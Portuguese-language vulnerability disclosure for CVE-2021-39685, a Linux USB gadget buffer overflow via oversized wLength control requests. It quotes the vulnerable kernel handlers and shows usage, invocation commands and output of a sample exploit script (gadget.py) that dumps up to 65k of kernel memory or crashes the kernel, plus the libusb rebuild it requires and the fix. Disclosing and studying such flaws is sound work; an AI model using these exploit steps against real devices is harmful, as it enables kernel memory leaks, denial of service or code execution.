
CVE-2021-39685 Descrição e exploit de exemplo para vulnerabilidade de estouro do USB Gadget do Linux
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
Um atacante pode acessar a memória do kernel ignorando os limites válidos do buffer ao explorar a implementação de manipuladores de requisições de controle nos seguintes gadgets usb - rndis, hid, uac1, uac1_legacy e uac2. O processamento de requisições de transferência de controle maliciosas com wLength inesperadamente grande não possui garantia de que esse valor não exceda o tamanho do buffer. Devido a esse fato, é possível ler e/ou escrever (dependendo do caso) até 65k de memória do kernel.
Alguns caminhos de execução dos manipuladores de transferência de controle usb de gadgets como rndis, hid, uac1, uac1_legacy e uac2 não incluem o tratamento adequado do comprimento da requisição (wLength). Esse valor deve ser limitado ao tamanho do buffer para evitar vulnerabilidades de estouro de buffer na fase de transferência de dados.
O buffer usado pelo endpoint 0 é alocado em composite.c com o tamanho USB_COMP_EP0_BUFSIZ (4096) bytes, portanto definir wLength para um valor maior que USB_COMP_EP0_BUFSIZ resultará em um estouro de buffer.
Por exemplo, no caso de f_uac1.c, a execução da função f_audio_setup permite que se realize tanto leituras quanto escritas além dos limites do buffer. Nem f_audio_setup nem nenhuma das funções chamadas - audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in - limitam o valor de retorno para que seja menor que o tamanho do buffer. Consequentemente, a fase de transferência de dados usa req->length = value = ctrl->wLength, que é controlado pelo atacante. Isso permite ler ou escrever até 65k bytes de memória do kernel, dependendo da direção da transferência de controle.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
A execução do exploit de leitura de exemplo permite despejar até 65k de memória.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
Por outro lado, a execução do exploit de sobrescrita permite escrever dados arbitrários além dos limites esperados do buffer.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
Da mesma forma, no caso do gadget rndis, a função rndis_setup pode ser explorada para escrever além dos limites do buffer usando uma requisição de transferência de controle com direção out, tipo class, recipient interface e bRequest definido como USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Caminhos de execução vulneráveis:
Dispositivos que implementam as classes de gadget usb afetadas (rndis, hid, uac1, uac1_legacy, uac2) podem ser afetados por vulnerabilidades de estouro de buffer resultando em divulgação de informações, negação de serviço ou execução de código arbitrário no contexto do kernel.
Limitar o tamanho da fase de transferência para min(len, buffer_size) nos manipuladores de requisição de controle afetados para garantir que não ocorra um estouro de buffer.
Emitir requisições de transferência de controle com wLength maior que os 4096 bytes padrão exige que o host use uma compilação personalizada do libusb com MAX_CTRL_BUFFER_LENGTH aumentado para 0xffff. Esse valor pode ser alterado em libusb/os/linux_usbfs.h antes da compilação.
O script gadget.py requer pyusb. Você pode instalar este pacote via pip como abaixo.
python3 -m pip install pyusb
A ajuda pode ser acessada com os parâmetros -h ou --help.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Exemplos de invocação:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
Atualize seu kernel para a versão estável mais recente.